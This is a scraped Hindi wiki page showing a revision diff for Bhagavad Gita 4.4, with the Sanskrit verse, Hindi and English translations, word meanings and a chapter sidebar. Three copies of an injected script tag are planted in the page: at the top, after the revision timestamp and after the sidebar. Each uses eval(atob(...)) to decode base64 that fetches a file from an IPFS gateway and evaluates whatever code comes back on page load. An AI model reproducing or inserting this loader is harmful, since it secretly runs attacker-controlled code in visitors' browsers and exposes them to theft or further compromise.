ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ
खोज पर जाएँ
|
|
पंक्ति ९: |
पंक्ति ९: |
| '''प्रसंग-''' | | '''प्रसंग-''' |
| ---- | | ---- |
− | इस प्रकार [[अर्जुन]] के पूछने पर अपने अवतार-तत्व का रहस्य समझाने के लिये अपनी सर्वज्ञता प्रकट करते हुए भगवान् कहते है। | + | इस प्रकार भगवान् [[श्रीकृष्ण]] के वचन सुनकर [[अर्जुन]] ने पूछा , हे भगवन् |
| ---- | | ---- |
| <div align="center"> | | <div align="center"> |
पंक्ति २५: |
पंक्ति २५: |
| '''अर्जुन बोले-''' | | '''अर्जुन बोले-''' |
| ---- | | ---- |
− | आपका जन्म तो अर्वाचीन- अभी हाल का है और [[सूर्य]] का जन्म बहुत पुराना है अर्थात् कल्प के आदि में हो चुका था; तब मैं इस बात को कैसे समझूँ कि आप ही ने कल्प के आदि में सूर्य से यह योग कहा था ।।4।। | + | आपका जन्म तो अर्वाचीन अभी हाल का है और [[सूर्य]] का जन्म बहुत पुराना है अर्थात् कल्प के आदि में हो चुका था; तब मैं इस बात को कैसे समझूँ कि आप ही ने कल्प के आदि में सूर्य से यह योग कहा था ।।4।। |
| | | |
| | style="width:50%; font-size:120%;padding:10px;" valign="top"| | | | style="width:50%; font-size:120%;padding:10px;" valign="top"| |
− | '''arjuna said:''' | + | '''Arjuna said:''' |
| ---- | | ---- |
− | You are of recent origin, while the birth of Vivasvan dates back to remote antiquity. How, then, am I to believe that You taught this Yoga at the beginning of creations? (4)
| + | The sun-god Vivasvan is senior by birth to You. How am I to understand that in the beginning You instructed this science to him ?(4) |
| |- | | |- |
| |} | | |} |
पंक्ति ६१: |
पंक्ति ६१: |
| </table> | | </table> |
| [[category:गीता]] | | [[category:गीता]] |
| + | __INDEX__ |
११:२२, १५ नवम्बर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-4 श्लोक-4 / Gita Chapter-4 Verse-4
प्रसंग-
इस प्रकार भगवान् श्रीकृष्ण के वचन सुनकर अर्जुन ने पूछा , हे भगवन्
अपरं भवतो जन्म परं जन्म विवस्वत: ।
कथमेतद्विजानीयां त्वमादौ प्रोक्तवानिति ।।4।।
|
अर्जुन बोले-
आपका जन्म तो अर्वाचीन अभी हाल का है और सूर्य का जन्म बहुत पुराना है अर्थात् कल्प के आदि में हो चुका था; तब मैं इस बात को कैसे समझूँ कि आप ही ने कल्प के आदि में सूर्य से यह योग कहा था ।।4।।
|
Arjuna said:
The sun-god Vivasvan is senior by birth to You. How am I to understand that in the beginning You instructed this science to him ?(4)
|
भवत: =आपका; जन्म =जन्म (तो); अपरम् = आधुनिक अर्थात् अब हुआ है(और); विवस्वत: = सूर्य का; जन्म = जन्म; परम् = बहुत पुराना है (इसलिये); एतत् = इस योग को (कल्प के); आदौ = आदि में; त्वम् = आपने; प्रोक्तवान् = कहा था; इति = यह (मैं); कथम् = कैसे; विजानीयाम् = जानूं।
|
|
|
|
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|